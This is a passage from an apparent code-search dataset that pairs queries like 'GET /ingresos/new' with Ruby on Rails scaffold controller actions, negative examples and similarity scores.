"def index\n @locations = Location.find(:all)\n\n respond_to do |format|\n format.html \n format.xml { render :xml => @locations }\n end\n end",
"def show\n @ganho = Ganho.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ganho }\n end\n end",
"def index\n @notas = Nota.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @notas }\n end\n end",
"def show\n @peso = Peso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @peso }\n end\n end",
"def show\n @arrendamientosprorroga = Arrendamientosprorroga.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @arrendamientosprorroga }\n end\n end",
"def index\n @vehiculoscancelaciones = Vehiculoscancelacion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @vehiculoscancelaciones }\n end\n end",
"def index\n @landings = Landing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @landings }\n end\n end",
"def index\n @entries = @resource_finder.find(:all)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def index\n @lookup_scantasks = LookupScantask.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lookup_scantasks }\n end\n end",
"def show\n @estagio = Estagio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estagio }\n end\n end",
"def list\n @oyoyos = Oyoyo.find (:all)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @oyoyo }\n end\n \nend",
"def index\n @institutos = Instituto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @institutos }\n end\n end",
"def index\n @tipo_notas = TipoNota.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tipo_notas }\n end\n end"
] | [
"0.67602265",
"0.6271438",
"0.62083125",
"0.60266566",
"0.5962408",
"0.59559155",
"0.59559155",
"0.58988243",
"0.58932346",
"0.58791804",
"0.5857486",
"0.585649",
"0.58455694",
"0.583912",
"0.583427",
"0.5833589",
"0.5796497",
"0.5776844",
"0.5776839",
"0.57741034",
"0.577281",
"0.577147",
"0.5766539",
"0.576653",
"0.5764199",
"0.5752819",
"0.5744272",
"0.57431847",
"0.57394207",
"0.5738546",
"0.57306635",
"0.5717839",
"0.57176185",
"0.5717129",
"0.5711601",
"0.5708439",
"0.5705302",
"0.5705118",
"0.5702881",
"0.5692858",
"0.5692858",
"0.5683065",
"0.56822646",
"0.56794274",
"0.5678778",
"0.5668837",
"0.56687874",
"0.5666605",
"0.56645393",
"0.5662954",
"0.5631418",
"0.56259143",
"0.5624292",
"0.56215423",
"0.56156176",
"0.5608044",
"0.5604771",
"0.56042594",
"0.55974543",
"0.5596896",
"0.5593692",
"0.55908334",
"0.5587009",
"0.5583074",
"0.55824935",
"0.5582419",
"0.5580736",
"0.55737084",
"0.55722845",
"0.55720896",
"0.55707884",
"0.5568649",
"0.55628026",
"0.555957",
"0.55515456",
"0.55492777",
"0.55492777",
"0.5540403",
"0.55389476",
"0.553744",
"0.5536607",
"0.55353487",
"0.5534268",
"0.5527469",
"0.5526342",
"0.5523676",
"0.55205274",
"0.551999",
"0.55199",
"0.55189914",
"0.5515675",
"0.55146235",
"0.55137366",
"0.55129653",
"0.5510752",
"0.5508285",
"0.5508193",
"0.55049306",
"0.5504653",
"0.5500302"
] | 0.71346986 | 0 |
GET /ingresos/1 GET /ingresos/1.xml | def show
@ingreso = Ingreso.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @ingreso }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @ingresos = Ingreso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ingresos }\n end\n end",
"def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end",
"def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end",
"def show\n @nossos_servico = NossosServico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @nossos_servico }\n end\n end",
"def get_listings_xml(url)\n @client.get_content(url)\n end",
"def show\n @inning = Inning.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @inning }\n end\n end",
"def show\n @inning = Inning.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @inning }\n end\n end",
"def show\n @gallion = Gallion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @gallion }\n end\n end",
"def show\n @ingredient = Ingredient.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @ingredient }\n end\n end",
"def show\n @allergen = Allergen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @allergen }\n end\n end",
"def show\n @glosario = Glosario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @glosario }\n end\n end",
"def show\n @inventario = Inventario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @inventario }\n end\n end",
"def index\n @feria2010observaciones = Feria2010observacion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feria2010observaciones }\n end\n end",
"def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end",
"def show\n @estagio = Estagio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estagio }\n end\n end",
"def show\n @tso = Tso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tso.to_xml(:except => [ :created_at, :updated_at ]) }\n end\n end",
"def show\n @gene_ontology = GeneOntology.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @gene_ontology }\n end\n end",
"def path\n \"/onca/xml\"\n end",
"def show\n @ingrediente = Ingrediente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ingrediente }\n end\n end",
"def index\n @requests = Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @requests }\n end\n end",
"def show\n @viewing = Viewing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @viewing }\n end\n end",
"def read(id=nil)\r\n request = Net::HTTP.new(@uri.host, @uri.port)\r\n if id.nil?\r\n response = request.get(\"#{@uri.path}.xml\") \r\n else\r\n response = request.get(\"#{@uri.path}/#{id}.xml\") \r\n end\r\n response.body\r\n end",
"def show\n @ganho = Ganho.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ganho }\n end\n end",
"def index\n @estatus = Estatu.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @estatus }\n end\n end",
"def show\n @building = Building.find(params[:id])\n \n render :xml => @building\n # respond_to do |format|\n # format.html # show.html.erb\n # format.xml { render :xml => @building }\n # end\n end",
"def disp_xml_rq\n body= File.open(\"public/OTA/OTA_HotelAvailRQ100.xml\").read\n render :xml => body\n end",
"def download_xml\n\t\turi = URI.parse(\"http://www.esmadrid.com/opendata/tiendas_v1_es.xml\")\n\t\tresponse = Net::HTTP.get_response(uri)\n\t\tcontent = response.body\n\n\t\txml = REXML::Document.new(content)\n\n\t\treturn xml\n\tend",
"def index\n @asistencias = Asistencia.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @asistencias }\n end\n end",
"def new\n @ingreso = Ingreso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ingreso }\n end\n end",
"def index\n @pesos = Peso.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pesos }\n end\n end",
"def index\n @eventos = Evento.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @eventos }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @alimentos }\n end\n end",
"def ping\n @status = Status.find(:first)\n respond_to do |format|\n format.html\n format.xml { render :xml => @status }\n end \n end",
"def show\n @listing = Listing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @listing }\n end\n end",
"def show\n @estagiarios = Estagiario.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estagiarios }\n end\n end",
"def show\n @nostro = Nostro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @nostro }\n end\n end",
"def index\n @solicitudes = Solicitud.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @solicitudes }\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @coating }\n end\n end",
"def show\n @bingo = Bingo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bingo }\n end\n end",
"def index\n @oils = Oil.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @oils }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @instituto }\n end\n end",
"def show\n @relatestagiario = Relatestagiario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @relatestagiario }\n end\n end",
"def index\n @ganhos = Ganho.find_by_user(current_user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ganhos }\n end\n end",
"def show\n @peso = Peso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @peso }\n end\n end",
"def index\n @documentos = @externo.documentos.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @documentos }\n end\n end",
"def show\n @estacion = Estacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estacion }\n end\n end",
"def show\n @wing = Wing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wing }\n end\n end",
"def show\n @evento = Evento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @evento }\n end\n end",
"def show\n @evento = Evento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @evento }\n end\n end",
"def show\n @evento = Evento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @evento }\n end\n end",
"def show\n @arrendamientosprorroga = Arrendamientosprorroga.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @arrendamientosprorroga }\n end\n end",
"def index\n @nodes = Node.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @nodes }\n end\n end",
"def index\n @nodes = Node.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @nodes }\n end\n end",
"def index\n @progres = Progre.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @progres }\n end\n end",
"def show\n @asistencia = Asistencia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asistencia }\n end\n end",
"def show\n @relatorios = Relatorio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @relatorios }\n end\n end",
"def show\n @analisis = Analisis.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @analisis }\n end\n end",
"def index\n @cuentas = Cuenta.all\n\n @cadena = getcuentasxml\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @cadena }\n end\n end",
"def read(id=nil)\n request = Net::HTTP.new(@uri.host, @uri.port)\n if id.nil?\n response = request.get(\"#{@uri.path}.xml\")\n else\n response = request.get(\"#{@uri.path}/#{id}.xml\")\n end\n\n response.body\n end",
"def timeline\n @bookings = Booking.find_waiting_pickup\n respond_to do |format|\n format.xml\n end\n end",
"def show\n @feria2010observacion = Feria2010observacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feria2010observacion }\n end\n end",
"def index\n @ingrediences = Ingredience.search(params[:search], params[:page],10) \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ingrediences }\n end\n end",
"def show\n @silo = Silo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @silo }\n end\n end",
"def show\n @discovery = Discovery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @discovery }\n end\n end",
"def show\n @puesto = Puesto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @puesto }\n end\n end",
"def show\n @sitio = Sitio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sitio }\n end\n end",
"def show\n @ocupation = Ocupation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ocupation }\n end\n end",
"def index\n @dinings = Dining.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @dinings }\n end\n end",
"def show\n @segmento = Segmento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @segmento }\n end\n end",
"def rest_get(uri)\n \n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n return doc\n \n end\n \nend",
"def index\n @avisos = Aviso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @avisos }\n end\n end",
"def show\n @status = Status.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @status }\n end\n end",
"def show\n @status = Status.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @status }\n end\n end",
"def show\n @status = Status.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @status }\n end\n end",
"def show\n @documento = @externo.documentos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @documento }\n end\n end",
"def index\n @node = Fedora.rest('rest/')\n end",
"def index\n @details = @listing.details.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @details }\n end\n end",
"def show\n @promos = Promos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @promos }\n end\n end",
"def index\n @datos = Dato.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @datos }\n end\n end",
"def show\n @booking = Booking.find(params[:id])\n \n respond_to do |format|\n format.html \n format.xml { render :xml => @booking }\n end\n end",
"def index\n\t\t@people = Person.all\n\t\t# respond_to do |format|\n\t\t# \tformat.xml { send_data @entries.to_xml, :type => 'text/xml; charset=UTF-8;', :disposition => 'attachment; filename=entries.xml'}\n\t\t# end\n\tend",
"def show\n @estatu = Estatu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estatu }\n end\n end",
"def show\n \n@clicker = Clicker.find(params[:id])\n\n \nrespond_to do |format|\n \nformat.html # show.html.erb\n \nformat.xml { render :xml => @clicker+\"yyyyy\" }\n \n end\n \nend",
"def index\n @relationships = Relationship.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @relationships }\n end\n end",
"def show\n @visarequest = Visarequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @visarequest }\n end\n end",
"def index\n @ganglia_graphs = GangliaGraph.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ganglia_graphs }\n end\n end",
"def show\n @on_reading = OnReading.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @on_reading }\n end\n end",
"def show\n @agile_task = AgileTask.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @agile_task }\n end\n end",
"def show\n @estudiante = Estudiante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estudiante }\n end\n end",
"def show\n @estudiante = Estudiante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estudiante }\n end\n end",
"def show\n @regiaos = Regiao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @regiaos }\n end\n end",
"def index\n @annees = Annee.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @annees }\n end\n end",
"def show\n @inventorship = Inventorship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @inventorship }\n end\n end",
"def show\n @inscripcione = Inscripcione.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @inscripcione }\n end\n end",
"def show\n @ingredient = Ingredient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ingredient }\n end\n end",
"def show\n @ingredient = Ingredient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ingredient }\n end\n end",
"def index\n @meant_it_rels = MeantItRel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @meant_it_rels }\n end\n end",
"def show\n if params[:servings]\n @recipe = @recipe.with_servings(params[:servings])\n end\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @recipe.to_xml }\n end\n end",
"def index\n @nanos = Nano.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @nanos.to_xml }\n end\n end",
"def index\n @pagos = Pago.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pagos }\n end\n end"
] | [
"0.6978563",
"0.64224344",
"0.6353134",
"0.61663",
"0.6113216",
"0.6072116",
"0.6072116",
"0.6062996",
"0.60625",
"0.59631974",
"0.59577423",
"0.5953989",
"0.5944342",
"0.5931804",
"0.5924002",
"0.59162825",
"0.588399",
"0.5879852",
"0.58795863",
"0.58775866",
"0.5870448",
"0.58700895",
"0.58464694",
"0.58264226",
"0.5825122",
"0.5820613",
"0.58184457",
"0.58171624",
"0.58133775",
"0.58097863",
"0.58097607",
"0.5807727",
"0.580707",
"0.5801175",
"0.58006936",
"0.57922405",
"0.5791778",
"0.57915956",
"0.5774323",
"0.5768843",
"0.5768241",
"0.5765645",
"0.5764333",
"0.5751212",
"0.57468206",
"0.5744363",
"0.57337433",
"0.57290274",
"0.57290274",
"0.57290274",
"0.5724309",
"0.57178205",
"0.57178205",
"0.57118267",
"0.57100385",
"0.5707796",
"0.5705074",
"0.57029456",
"0.57019943",
"0.56965286",
"0.56913894",
"0.5686475",
"0.5685492",
"0.5685233",
"0.56832296",
"0.56803465",
"0.56724596",
"0.56707525",
"0.56658244",
"0.56632125",
"0.5658017",
"0.56475466",
"0.56475466",
"0.56475466",
"0.56437784",
"0.56393796",
"0.5638343",
"0.5636448",
"0.5635332",
"0.5632426",
"0.5632339",
"0.56279033",
"0.56277514",
"0.562655",
"0.5623408",
"0.5620751",
"0.56197137",
"0.5618846",
"0.56187606",
"0.5617491",
"0.5615714",
"0.5611467",
"0.56055826",
"0.5604881",
"0.5598781",
"0.5598781",
"0.5598307",
"0.559717",
"0.55932784",
"0.55882424"
] | 0.6912649 | 1 |
GET /ingresos/new GET /ingresos/new.xml | def new
@ingreso = Ingreso.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @ingreso }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @coating }\n end\n end",
"def new\n @nossos_servico = NossosServico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nossos_servico }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instituto }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @listing = Listing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @listing }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ontology }\n end\n end",
"def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end",
"def new\n @viewing = Viewing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @viewing }\n end\n end",
"def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @tso = Tso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tso }\n end\n end",
"def new\n @savings = Savings.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @savings }\n end\n end",
"def new\n @inventario = Inventario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @inventario }\n end\n end",
"def new\n @nostro = Nostro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nostro }\n end\n end",
"def new\n @recurso = Recurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recurso }\n end\n end",
"def create\n @ingreso = Ingreso.new(params[:ingreso])\n\n respond_to do |format|\n if @ingreso.save\n format.html { redirect_to(@ingreso, :notice => 'Ingreso was successfully created.') }\n format.xml { render :xml => @ingreso, :status => :created, :location => @ingreso }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ingreso.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @po = Po.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @po }\n end\n end",
"def new\n @allergen = Allergen.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @allergen }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @ingredience = Ingredience.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ingredience }\n end\n end",
"def new\n @gallion = Gallion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gallion }\n end\n end",
"def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing }\n end\n end",
"def new\n @wing = Wing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wing }\n end\n end",
"def new\n @promos = Promos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @promos }\n end\n end",
"def new\n @request = Request.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @glosario = Glosario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @glosario }\n end\n end",
"def new\n @estagio = Estagio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estagio }\n end\n end",
"def new\n @lien = Lien.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lien }\n end\n end",
"def new\n @spiel = Spiel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spiel }\n end\n end",
"def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end",
"def new\n @estacion = Estacion.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estacion }\n end\n end",
"def new_rest\n @entry_instrument = EntryInstrument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_instrument }\n end\n end",
"def new\n @relatestagiario = Relatestagiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @relatestagiario }\n end\n end",
"def new\n @solicitud = Solicitud.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @solicitud }\n end\n end",
"def new\n @silo = Silo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @silo }\n end\n end",
"def new\n @shopping = Shopping.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shopping }\n end\n end",
"def new\n @gene_ontology = GeneOntology.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gene_ontology }\n end\n end",
"def new\n @precio = Precio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @precio }\n end\n end",
"def new_rest\n @item_usage = ItemUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_usage }\n end\n end",
"def new\n @bingo = Bingo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bingo }\n end\n end",
"def new\n @relatorios = Relatorio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @relatorios }\n end\n end",
"def new\n @title = \"New Operations\"\n @operation = Operation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @operation }\n end\n end",
"def new\n @asistencia = Asistencia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asistencia }\n end\n end",
"def new\n @reqinfo = Reqinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reqinfo }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @infraction_type }\n end\n end",
"def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end",
"def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end",
"def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end",
"def new\n @ponto = Ponto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ponto }\n end\n end",
"def new\n @costing = Costing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @costing }\n end\n end",
"def new\n @puesto = Puesto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @puesto }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nomina }\n end\n end",
"def new\n @discovery = Discovery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discovery }\n end\n end",
"def new\n @evento = Evento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @evento }\n end\n end",
"def new\n @pdig = Pdig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pdig }\n end\n end",
"def new\n @ganho = Ganho.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ganho }\n end\n end",
"def new\n @proceso = Proceso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @proceso }\n end\n end",
"def new\n @aplicacion = Aplicacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aplicacion }\n end\n end",
"def new\n @novel = Novel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @novel }\n end\n end",
"def new\n @segmento = Segmento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @segmento }\n end\n end",
"def new\n @tpago = Tpago.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tpago }\n end\n end",
"def index\n @ingresos = Ingreso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ingresos }\n end\n end",
"def new\n @aviso = Aviso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aviso }\n end\n end",
"def new\n @pagamento = Pagamento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pagamento }\n end\n end",
"def new\n @building = Building.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @building }\n end\n end",
"def new\n @dining = Dining.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dining }\n end\n end",
"def new\n @visarequest = Visarequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @visarequest }\n end\n end",
"def new\n @good = Good.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @good }\n end\n end",
"def new\n @platillo = Platillo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @platillo }\n end\n end",
"def new_rest\n @page_usage_event = PageUsageEvent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page_usage_event }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def new_rest\n @entry_item = EntryItem.new\n\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @entry_item }\n end\n end",
"def new\n @tiposproceso = Tiposproceso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tiposproceso }\n end\n end",
"def new\n @addition = Addition.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @addition }\n end\n end",
"def new\n respond_to do |format|\n format.html\n format.xml\n end\n end",
"def newX\n @server = Server.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @server }\n end\n end",
